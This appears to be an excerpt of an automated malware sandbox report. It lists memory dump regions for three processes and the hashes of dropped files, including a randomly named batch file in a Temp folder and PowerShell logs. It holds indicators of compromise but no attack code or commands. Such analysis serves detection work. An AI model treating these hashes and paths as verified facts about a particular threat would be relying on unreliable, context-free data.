memory/3892-89-0x0000000073230000-0x00000000739E0000-memory.dmp

memory/5056-90-0x00007FFD73950000-0x00007FFD73951000-memory.dmp

memory/5056-91-0x00007FFD52F70000-0x00007FFD53A31000-memory.dmp

memory/5056-92-0x000000001B3E0000-0x000000001B3F0000-memory.dmp

memory/3892-93-0x0000000005390000-0x00000000053A0000-memory.dmp

memory/3892-94-0x0000000005390000-0x00000000053A0000-memory.dmp

memory/5056-95-0x000000001B3E0000-0x000000001B3F0000-memory.dmp

memory/5056-96-0x000000001B3E0000-0x000000001B3F0000-memory.dmp

memory/5056-99-0x000000001B3E0000-0x000000001B3F0000-memory.dmp

memory/5056-98-0x000000001B3E0000-0x000000001B3F0000-memory.dmp

memory/3688-100-0x0000000005260000-0x0000000005270000-memory.dmp

memory/3688-97-0x0000000005260000-0x0000000005270000-memory.dmp

memory/3688-101-0x0000000073230000-0x00000000739E0000-memory.dmp

memory/3688-102-0x0000000005260000-0x0000000005270000-memory.dmp

memory/5056-103-0x000000001B990000-0x000000001BA90000-memory.dmp

memory/5056-104-0x00007FFD739D0000-0x00007FFD73A8E000-memory.dmp

memory/5056-105-0x000000001B990000-0x000000001BA90000-memory.dmp

memory/5056-106-0x000000001B990000-0x000000001BA90000-memory.dmp

memory/5056-108-0x000000001B990000-0x000000001BA90000-memory.dmp

memory/3892-107-0x0000000008010000-0x000000000868A000-memory.dmp

memory/5056-110-0x000000001B990000-0x000000001BA90000-memory.dmp

memory/3688-112-0x0000000006DD0000-0x0000000006E02000-memory.dmp

memory/3688-113-0x0000000070420000-0x000000007046C000-memory.dmp

memory/3688-111-0x000000007EFA0000-0x000000007EFB0000-memory.dmp

memory/3892-109-0x0000000006E60000-0x0000000006E7A000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\U1RtOWmL3h.bat

MD5 7b2d5b9a8b17089fab1bd292f095c33c
SHA1 fe59504d6399d9631c92635bf6b7beaaa70ae2fe
SHA256 9659c203171fc0246a7b3fd0324338745f8732f743b4cbe202ce63c90fb6d578
SHA512 203f0dc2bbe189b819cd3939955ef271eacf57486fa79f06f5c6daf6544b260350131d8456c4252db9d33da4192a81d912791e1d2215678b95a113543c11d81f

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 cadef9abd087803c630df65264a6c81c
SHA1 babbf3636c347c8727c35f3eef2ee643dbcc4bd2
SHA256 cce65b73cdfe9304bcd5207913e8b60fb69faa20cd3b684f2b0343b755b99438
SHA512 7278aa87124abb382d9024a645e881e7b7cf1b84e8894943b36e018dbf0399e6858392f77980b599fa5488e2e21bf757a0702fe6419417edac93b68e0c2ec085

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 04d1649d82e39d0ecd875d1d11b8439f
SHA1 90836a104b091c012cd093d8b24865b75398e36b
SHA256 bcfd7f1e70b9ce350f2b73bd78ce646c12dfe11cce5e67d3aeceaa9fbc55ee08
SHA512 9d180b3ad51a2e3118749de536a2d699ff9c99d81396c8519e3e7d5e62ecc8afc7642a954eb33ab290fec6d3002206265099526a6c6dde09f9615c557893c5f6

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

MD5 968cb9309758126772781b83adb8a28f
SHA1 8da30e71accf186b2ba11da1797cf67f8f78b47c
SHA256 92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a
SHA512 4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3